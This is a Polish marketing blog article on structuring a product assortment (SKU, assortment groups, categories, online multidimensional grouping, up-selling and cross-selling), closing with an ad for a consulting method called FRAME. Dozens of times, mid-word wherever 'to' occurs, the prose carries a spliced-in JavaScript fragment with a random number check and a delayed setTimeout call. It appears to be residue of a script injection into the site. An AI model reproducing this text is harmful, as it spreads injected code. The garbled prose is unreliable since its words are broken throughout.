In Artykuły, Handel, Uniwersalne

Firmy starają się nadać swojej ofercie jakąś strukturę. Trochę dlatego, żeby ułatwić klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi wybór, ale głównie dlatego, żeby ułatwić sobie robotę. A ta jest tylko trochę przy tworzeniu struktury, co jest operacją co do zasady praktycznie jednorazową. Główna i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to codzienna robota polega na zarządzaniu tą strukturą, przede wszystkim na zamawianiu.

Uwaga. „SKU wymyślili logistycy”. SKU dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to S dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tock Keeping Unit. Czyli jednoznaczna identyfikacja produktu właśnie pod względem zamawiania. Do tego celu, jak i do tego, żeby zdjąć produkt z półki i się przy tym nie pomylić, nadaje się doskonale. Ale do tego, żeby tym produktem zarządzać, trzeba dużo więcej. Trzeba sięgnąć do kolejnych warstw produkt. A tych warstw jest co najmniej kilka.

Produkt ma warstwy

A jedną z nich jest struktura asortymentu. Najniższą, identyfikującą produkt logistycznie jest SKU. Potem są warstwy cech, zarówno faktycznych, głownie technicznych, jak i marketingowy. Teraz czas na strukturę asortymentu. W końcu najwyższą warstwę stanowi infrastruktura sprzedażowa, np. atmosfera sprzedaży. To warstwa Konceptu Sprzedażowego.

Warstwy produktu dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to podstawowe narządzie zarządzania sprzedażą, przede wszystkim zaś magiczną formułą sprzedaży. Z tego punktu widzenia struktura asortymentu, jako trzeci poziom w strukturze produktu, ale też narzędzie zarządzania magiczną formułą sprzedaży nabiera is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totnego znaczenia. Bez tego narzędzia nie da się w ogóle zarządzać, a wykorzystując je, da się zarządzać bardzo skutecznie.

Struktura asortymentu

Istnieją różne poziomy struktury asortymentu.

W strukturze asortymentu mają miejsce kolejne s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}topnie zorganizowania. Zaraz powyżej SKU jest Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa, coś jak rodzina w społeczeństwie. Czyli podstawowa komórka społeczna asortymentu. Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe układają się w podkategorie, a te z kolei w kategorie. Dopiero suma kategorii tworzy asortyment.

Uwaga. „Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa”. Czyli zbiór produktów jednolitych pod względem głównego kryterium wyszukiwania przez klienta. Np. mogą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być czerwone wina wytrawne. Ten, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to preferuje takie wina, nie jest zainteresowany białymi (choć te łącznie tworzą asortyment). Ani słodkimi, choć mogą być czerwone. Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa ma zawsze swoją strukturę wewnętrzną, zwykle jest nią drabinka cenowa.

Jak tworzy się struktura asortymentu?

Zwykle his dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torycznie. Firma zaczyna od oferty, a następnie stara się nadać jej jakąś logikę, podświadomie czując, że ułatwi jej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarządzanie zamówieniami, a następnie, w wersji zaawansowanej, także sprzedażą.

Przykład. Rękawiczki. Istnieją różne rodzaje rękawiczek. Mogą być do prac w ogrodzie, do spawania albo do noszenia na co dzień. Firma, która zgrupuje je w jedną podkategorię, ułatwi sobie zamawianie. Zwykle bowiem jest tak, że istnieje jeden producent rękawiczek. I zebranie wszystkich rękawiczek w jedną grupę ułatwi kupcowi zbieranie danych, statystyki, a także zamawianie.

Uwaga. „Internet zmienił świat sprzedaży”. Przede wszystkim dlatego, że pozwala zbierać dane nie tylko o sprzedaży, ale też o zachowaniach klientów, dużo wcześniej niż w ogóle kupią. Między innymi także o tym, czego i jak poszukują. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pozwala zweryfikować, czy przyjęta struktura asortymentu i nazwy, a także struktura kategorii i podkategorii im odpowiada. Tym samym powielanie struktury poszukiwań w wyszukiwarce dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie ukłon w stronę wyszukiwarki. Tylko klienta końcowego.

Właściwa struktura asortymentu (z punktu widzenia zarządzania sprzedażą) powinna leżeć gdzieś między „search driven” a „up- i cross-sell driven”. Z jednej strony zaspokoi dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to potrzeby klientów i ułatwi im znalezienie poszukiwanego produktu. Zaś z drugiej strony umożliwi firmie manipulowanie klientem, w postaci sterowania sprzedażą.

Sterowanie sprzedażą zawsze się przyda. Ale w Internecie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to sterowanie staje się szczególnie trudne, klient dociera do produkt z pominięciem infrastruktury sprzedażowej. Ograniczone są też możliwości sprzedaży impulsowej, ze względu na ograniczenia logistyczne. I dlatego ułatwione up- i cross-sell nabierają tu tak ważnego znaczenia.

Znaczenie dla up- i cross-sell

To me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody aby sprzedać coś, co jest droższe, ale lepsze (tu up-sell). A także aby coś sprzedać dodatkowo, czyli cross-sell. To zawsze jest ważne, ale w Internecie ważniejsze niż gdziekolwiek. Tu bowiem większa część ruchu jest bezpośrednio do produktu, z pominięciem infrastruktury sprzedażowej.

Decydujący jest zwykle ruch organic, czyli bezpośrednio do produktu czy informacji. A jeśli tak, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to klient omija infrastrukturę sprzedażową i sprytnie na niego zastawione pułapki sterowania sprzedażą. Trzeba więc na niego zapolować tam, gdzie się zatrzyma, czyli przy produkcie. Można dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to robić na wiele sposobów, ale ten ze strukturą asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tową wydaje się najlepszy.

Wracając do przykładu z rękawiczkami, jeśli stworzy się grupę „balkon”, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wszystkie produkty, jakie są potrzebne do pracy na balkonie, czy nawet do wypoczywania na nim, znajdą się obok siebie. I wtedy szansa, że klient coś dokupi (czyli cross-sell) wzrośnie.

Także szansa na up-sell będzie większa. Jeśli klient zobaczy obok siebie wszystkie rodzaje rękawiczek do pracy z roślinami obok siebie, a tego obrazu nie zaburzy mu dodanie rękawic do spawania, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to łatwiej będzie go przekonać do rękawiczki droższej, ale ewidentnie lepszej. I łatwiej mu będzie wytłumaczyć, dlaczego akurat ta jest lepsza.

Wielowymiarowe Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe

W Internecie możliwe jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, co w świecie naziemnym pozostaje tylko marzeniem. Można bowiem tworzyć wielowymiarowe Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe.

Przykład. Jak może wyglądać wielowymiarowa Grupa Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towa? W świecie off-line dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to proste. To czerwone wino wytrawne w różnych cenach. Ale w Internecie może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być jednocześnie wino czerwone wytrawne, ale też wino na wieczór (pasuje do jedzenia), z Gruzji (pasuje do mody). Może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to też być wino na prezent, gdyż odpowiednio dla prezentu kosztuje, wygląda i się nazywa. W Internecie wszystko dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jest możliwe jednocześnie. Samo SKU się tu nie zmieniło, ale można je ustrukturyzować wg różnych kryteriów jednocześnie.

Uwaga. „struktura Grupy pozwala znaleźć luki”. I dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to właśnie decyduje o wielowymiarowości Grup i wyjątkowości takiego podziału. Tu można uzupełnić strukturę wg różnych kryteriów na raz. Ograniczeniem przestaje być zapas, pojemność półki czy tylko pamiętanie o tym.

W Internecie klienci wyszukują właśnie wg rozmaitych kryteriów. I dlatego wydaje się, że tam nie obowiązuje zasada 80/20. Nadal obowiązuje, ale w ramach specyficznych kryteriów wyszukiwania.

Podsumowanie

Dobrze jeśli oferta ma jakąś strukturę. Wtedy staje się asortymentem, a tym można już świadomie sterować. Ale dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, jaka dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to struktura, nie jest obojętne dla tego sterowania. Z punktu widzenia sprzedaży ważne są 3 aspekty struktury.

Struktura asortymentu powinna pomagać zarządzać asortymentem, następnie zapasem, w szczególności zamówieniami. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to oznacza struktura powinna uwzględniać uporządkowanie wg dostawców. Powinna też ułatwiać klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towi znalezienie produktu, co nabiera szczególnego znaczenia w Internecie. Ale i sprzedaży naziemnej też się przyda. Wreszcie też powinna umożliwić sterowanie sprzedażą, przede wszystkim up-, ale też cross-sell.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.